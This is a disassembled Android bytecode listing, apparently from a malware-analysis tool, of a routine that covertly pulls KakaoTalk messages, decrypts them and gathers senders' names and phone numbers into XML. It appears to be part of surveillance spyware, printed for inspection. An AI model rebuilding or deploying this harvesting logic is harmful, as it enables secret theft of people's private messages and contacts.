      755catch_432: move-exception v5
      756move-object/from16 v19, v5
      757move-object v5, v6
      758move-object/from16 v6, v19
      759goto/16 :goto_360
      760catch_43a: move-exception v4
      761move-object v5, v6
      762move-object v6, v4
      763move-object v4, v14
      764goto/16 :goto_360
      765catch_440: move-exception v5
      766move-object v6, v5
      767move-object v5, v4
      768move-object v4, v14
      769goto/16 :goto_360
      770catch_446: move-exception v11
      771goto/16 :goto_270
      772cond_449: move-object v14, v4
      773move-object v4, v5
      774goto/16 :goto_da
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.util.Map.get
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.database.Cursor.getPosition
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.replace
      • java.lang.String.replace
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • java.util.Map.get
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.util.Map.get
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM addImSingleEntryKaKao index:
      • text
      • msg_id
      • thread_id
      • timestamp
      • sender
      • GetContentIM addImSingleEntryKaKao EMPTY MESSAGE -> CONTINUE:
      • GetContentIM addImSingleEntryKaKao encrypted msg:
      • GetContentIM addImSingleEntryKaKao decrypted msg:
      • GetContentIM addImSingleEntryKaKao by date:
      • GetContentIM addImSingleEntryKaKao memebers:
      • , sender id:
      • [
      • ]
      • LOG_ERR_KAKAOTALK_FAILED_ENCRYPTION
      • GetContentIM addImSingleEntryKaKao iter exception-
      • GetContentIM addImSingleEntryKakao fatched fromName:
      • friends.name
      • , fromNumber:
      • friends.phone_number
      • ,
      • GetContentIM addImSingleEntryKaKao memeber ID:
      • GetContentIM addImSingleEntryKakao getContact fatched name:
      • , number:
      • ,
      • GetContentIM addImSingleEntryKaKao last memeber ID:
      • GetContentIM addImSingleEntryKakao getContact last fatched name:
      • GetContentIM addImSingleEntryFaceebook participantsSb:
      • GetContentIM addImSingleEntryFaceebook participantsNumbersSb:
      Position Instruction Meta Information
      0try_start_0: new-instance v2, Ljava/lang/StringBuilder;
      2invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      3move-object/from16 v0, p2
      5invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      6move-result-object v2
      8const-string v3, "GetContentIM addImSingleEntryKaKao index: "
      10invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v2
      13invoke-interface/range {p0 .. p0}, Landroid/database/Cursor;->getPosition()I
      14move-result v3
      16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      17move-result-object v2
      19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      20move-result-object v2
      22invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24const-string v2, "text"
      25move-object/from16 v0, p3
      27invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      28move-result-object v2
      29check-cast v2, Ljava/lang/String;
      30move-object/from16 v0, p0
      32invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      33move-result v2
      34move-object/from16 v0, p0
      36invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      37move-result-object v4
      39const-string v2, "msg_id"
      40move-object/from16 v0, p3
      42invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      43move-result-object v2
      44check-cast v2, Ljava/lang/String;
      45move-object/from16 v0, p0
      47invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      48move-result v2
      49move-object/from16 v0, p0
      51invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      52move-result-object v5
      54const-string v2, "thread_id"
      55move-object/from16 v0, p3
      57invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      58move-result-object v2
      59check-cast v2, Ljava/lang/String;
      60move-object/from16 v0, p0
      62invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      63move-result v2
      64move-object/from16 v0, p0
      66invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      67move-result-object v3
      69const-string v2, "timestamp"
      70move-object/from16 v0, p3
      72invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      73move-result-object v2
      74check-cast v2, Ljava/lang/String;
      75move-object/from16 v0, p0
      77invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      78move-result v2
      79move-object/from16 v0, p0
      81invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      82move-result-object v6
      84const-string v2, "sender"
      85move-object/from16 v0, p3
      87invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      88move-result-object v2
      89check-cast v2, Ljava/lang/String;
      90move-object/from16 v0, p0
      92invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      93move-result v2
      94move-object/from16 v0, p0
      96invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      97move-result-object v2
      98const/4 v7, 0x6
      99move-object/from16 v0, p0
      101invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      102move-result-object v7
      103if-eqz v4, :cond_9d
      105invoke-virtual {v4}, Ljava/lang/String;->length()I
      106move-result v8
      107if-nez v8, :cond_be
      108cond_9d: new-instance v2, Ljava/lang/StringBuilder;
      110invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      111move-object/from16 v0, p2
      113invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v2
      116const-string v3, "GetContentIM addImSingleEntryKaKao EMPTY MESSAGE -> CONTINUE: "
      118invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      119move-result-object v2
      121invoke-interface/range {p0 .. p0}, Landroid/database/Cursor;->getPosition()I
      122move-result v3
      124invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      125move-result-object v2
      127invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      128move-result-object v2
      130invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      131goto_bd: return-void
      132cond_be: new-instance v8, Ljava/lang/StringBuilder;
      134invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      135move-object/from16 v0, p2
      137invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      138move-result-object v8
      140const-string v9, "GetContentIM addImSingleEntryKaKao encrypted msg: "
      142invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      143move-result-object v8
      145invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      146move-result-object v8
      148invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      149move-result-object v8
      151invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      152move-object/from16 v0, p2
      154invoke-static {v4, v0, v2}, Lcom/network/android/p;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      155move-result-object v4
      156new-instance v8, Ljava/lang/StringBuilder;
      158invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      159move-object/from16 v0, p2
      161invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      162move-result-object v8
      164const-string v9, "GetContentIM addImSingleEntryKaKao decrypted msg: "
      166invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      167move-result-object v8
      169invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      170move-result-object v8
      172invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      173move-result-object v8
      175invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      176try_start_fc: new-instance v8, Ljava/lang/StringBuilder;
      178invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      179move-object/from16 v0, p2
      181invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      182move-result-object v8
      184const-string v9, "GetContentIM addImSingleEntryKaKao by date:"
      186invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      187move-result-object v8
      188new-instance v9, Ljava/util/Date;
      189const-wide/16 v10, 0x3e8
      191invoke-static {v6}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      192move-result-wide v12
      193mul-long/2addr v10, v12
      195invoke-direct {v9, v10, v11}, Ljava/util/Date;-><init>(J)V
      197invoke-virtual {v9}, Ljava/util/Date;->toString()Ljava/lang/String;
      198move-result-object v9
      200invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      201move-result-object v8
      203invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      204move-result-object v8
      206invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      207goto_128: new-instance v8, Ljava/lang/StringBuilder;
      209invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      210move-object/from16 v0, p2
      212invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      213move-result-object v8
      215const-string v9, "GetContentIM addImSingleEntryKaKao memebers:"
      217invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      218move-result-object v8
      220invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      221move-result-object v8
      223const-string v9, ", sender id:"
      225invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      226move-result-object v8
      228invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      229move-result-object v8
      231invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      232move-result-object v8
      234invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      236const-string v8, "["
      238const-string v9, ""
      240invoke-virtual {v7, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
      241move-result-object v7
      243const-string v8, "]"
      245const-string v9, ""
      247invoke-virtual {v7, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
      248move-result-object v9
      250invoke-static/range {p4 .. p4}, Lcom/network/android/p;->a(Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
      251move-result-object v10
      252if-eqz v10, :cond_16a
      254invoke-virtual {v10}, Ljava/lang/String;->length()I
      255move-result v7
      256if-nez v7, :cond_197
      257cond_16a: const/4 v2, 0x1
      258const/16 v3, 0x3fe
      260const-string v4, "LOG_ERR_KAKAOTALK_FAILED_ENCRYPTION"
      262invoke-static {v2, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      263try_end_172: goto/16 :goto_bd
      264catch_174: move-exception v2
      265new-instance v3, Ljava/lang/StringBuilder;
      267invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      268move-object/from16 v0, p2
      270invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      271move-result-object v3
      273const-string v4, "GetContentIM addImSingleEntryKaKao iter exception- "
      275invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      276move-result-object v3
      278invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      279move-result-object v4
      281invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      282move-result-object v3
      284invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      285move-result-object v3
      287invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      288goto/16 :goto_bd
      289cond_197: move-object/from16 v0, p4
      290move-object/from16 v1, p2
      292invoke-static {v10, v2, v0, v1}, Lcom/network/android/p;->a(Ljava/lang/String;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/util/Map;
      293move-result-object v8
      294new-instance v2, Ljava/lang/StringBuilder;
      296invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      297move-object/from16 v0, p2
      299invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      300move-result-object v2
      302const-string v7, "GetContentIM addImSingleEntryKakao fatched fromName: "
      304invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      305move-result-object v7
      307const-string v2, "friends.name"
      309invoke-interface {v8, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      310move-result-object v2
      311check-cast v2, Ljava/lang/String;
      313invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      314move-result-object v2
      316const-string v7, ", fromNumber:"
      318invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      319move-result-object v7
      321const-string v2, "friends.phone_number"
      323invoke-interface {v8, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      324move-result-object v2
      325check-cast v2, Ljava/lang/String;
      327invoke-virtual {v7, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      328move-result-object v2
      330invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      331move-result-object v2
      333invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      335const-string v2, "friends.phone_number"
      337invoke-interface {v8, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      338move-result-object v7
      339check-cast v7, Ljava/lang/String;
      341const-string v2, "friends.name"
      343invoke-interface {v8, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      344move-result-object v8
      345check-cast v8, Ljava/lang/String;
      346new-instance v11, Ljava/lang/StringBuilder;
      348invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      349new-instance v12, Ljava/lang/StringBuilder;
      351invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      353const-string v2, ","
      355invoke-virtual {v9, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      356move-result-object v13
      357const/4 v2, 0x0
      358move v9, v2
      359goto_1f7: array-length v2, v13
      360add-int/lit8 v2, v2, -0x1
      361if-ge v9, v2, :cond_299
      362aget-object v2, v13, v9
      363new-instance v14, Ljava/lang/StringBuilder;
      365invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
      366move-object/from16 v0, p2
      368invoke-virtual {v14, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      369move-result-object v14
      371const-string v15, "GetContentIM addImSingleEntryKaKao memeber ID:"
      373invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      374move-result-object v14
      376invoke-virtual {v14, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      377move-result-object v14
      379invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      380move-result-object v14
      382invoke-static {v14}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      383move-object/from16 v0, p4
      384move-object/from16 v1, p2
      386invoke-static {v10, v2, v0, v1}, Lcom/network/android/p;->a(Ljava/lang/String;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/util/Map;
      387move-result-object v14
      388new-instance v2, Ljava/lang/StringBuilder;
      390invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      391move-object/from16 v0, p2
      393invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      394move-result-object v2
      396const-string v15, "GetContentIM addImSingleEntryKakao getContact fatched name: "
      398invoke-virtual {v2, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      399move-result-object v15
      401const-string v2, "friends.name"
      403invoke-interface {v14, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      404move-result-object v2
      405check-cast v2, Ljava/lang/String;
      407invoke-virtual {v15, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      408move-result-object v2
      410const-string v15, ", number:"
      412invoke-virtual {v2, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      413move-result-object v15
      415const-string v2, "friends.phone_number"
      417invoke-interface {v14, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      418move-result-object v2
      419check-cast v2, Ljava/lang/String;
      421invoke-virtual {v15, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      422move-result-object v2
      424invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      425move-result-object v2
      427invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      428new-instance v15, Ljava/lang/StringBuilder;
      430invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
      432const-string v2, "friends.name"
      434invoke-interface {v14, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      435move-result-object v2
      436check-cast v2, Ljava/lang/String;
      438invoke-virtual {v15, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      439move-result-object v2
      441const-string v15, ", "
      443invoke-virtual {v2, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      444move-result-object v2
      446invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      447move-result-object v2
      449invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      450new-instance v15, Ljava/lang/StringBuilder;
      452invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
      454const-string v2, "friends.phone_number"
      456invoke-interface {v14, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      457move-result-object v2
      458check-cast v2, Ljava/lang/String;
      460invoke-virtual {v15, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      461move-result-object v2
      463const-string v14, ", "
      465invoke-virtual {v2, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      466move-result-object v2
      468invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      469move-result-object v2
      471invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      472add-int/lit8 v2, v9, 0x1
      473move v9, v2
      474goto/16 :goto_1f7
      475cond_299: array-length v2, v13
      476add-int/lit8 v2, v2, -0x1
      477aget-object v2, v13, v2
      478new-instance v9, Ljava/lang/StringBuilder;
      480invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
      481move-object/from16 v0, p2
      483invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      484move-result-object v9
      486const-string v13, "GetContentIM addImSingleEntryKaKao last memeber ID:"
      488invoke-virtual {v9, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      489move-result-object v9
      491invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      492move-result-object v9
      494invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      495move-result-object v9
      497invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      498move-object/from16 v0, p4
      499move-object/from16 v1, p2
      501invoke-static {v10, v2, v0, v1}, Lcom/network/android/p;->a(Ljava/lang/String;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/util/Map;
      502move-result-object v9
      503new-instance v2, Ljava/lang/StringBuilder;
      505invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      506move-object/from16 v0, p2
      508invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      509move-result-object v2
      511const-string v10, "GetContentIM addImSingleEntryKakao getContact last fatched name: "
      513invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      514move-result-object v10
      516const-string v2, "friends.name"
      518invoke-interface {v9, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      519move-result-object v2
      520check-cast v2, Ljava/lang/String;
      522invoke-virtual {v10, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      523move-result-object v2
      525const-string v10, ", number:"
      527invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      528move-result-object v10
      530const-string v2, "friends.phone_number"
      532invoke-interface {v9, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      533move-result-object v2
      534check-cast v2, Ljava/lang/String;
      536invoke-virtual {v10, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      537move-result-object v2
      539invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      540move-result-object v2
      542invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      544const-string v2, "friends.name"
      546invoke-interface {v9, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      547move-result-object v2
      548check-cast v2, Ljava/lang/String;
      550invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      552const-string v2, "friends.phone_number"
      554invoke-interface {v9, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      555move-result-object v2
      556check-cast v2, Ljava/lang/String;
      558invoke-virtual {v12, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      559new-instance v2, Ljava/lang/StringBuilder;
      561invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      562move-object/from16 v0, p2
      564invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      565move-result-object v2
      567const-string v9, "GetContentIM addImSingleEntryFaceebook participantsSb: "
      569invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      570move-result-object v2
      572invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      573move-result-object v2
      575invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      576move-result-object v2
      578invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      579new-instance v2, Ljava/lang/StringBuilder;
      581invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      582move-object/from16 v0, p2
      584invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      585move-result-object v2
      587const-string v9, "GetContentIM addImSingleEntryFaceebook participantsNumbersSb: "
      589invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      590move-result-object v2
      592invoke-virtual {v2, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      593move-result-object v2
      595invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      596move-result-object v2
      598invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      600invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      601move-result-object v9
      603invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      604move-result-object v10
      605move-object/from16 v2, p1
      606move-object/from16 v11, p2
      608invoke-static/range {v2 .. v11}, Lcom/network/android/p;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      609try_end_355: goto/16 :goto_bd
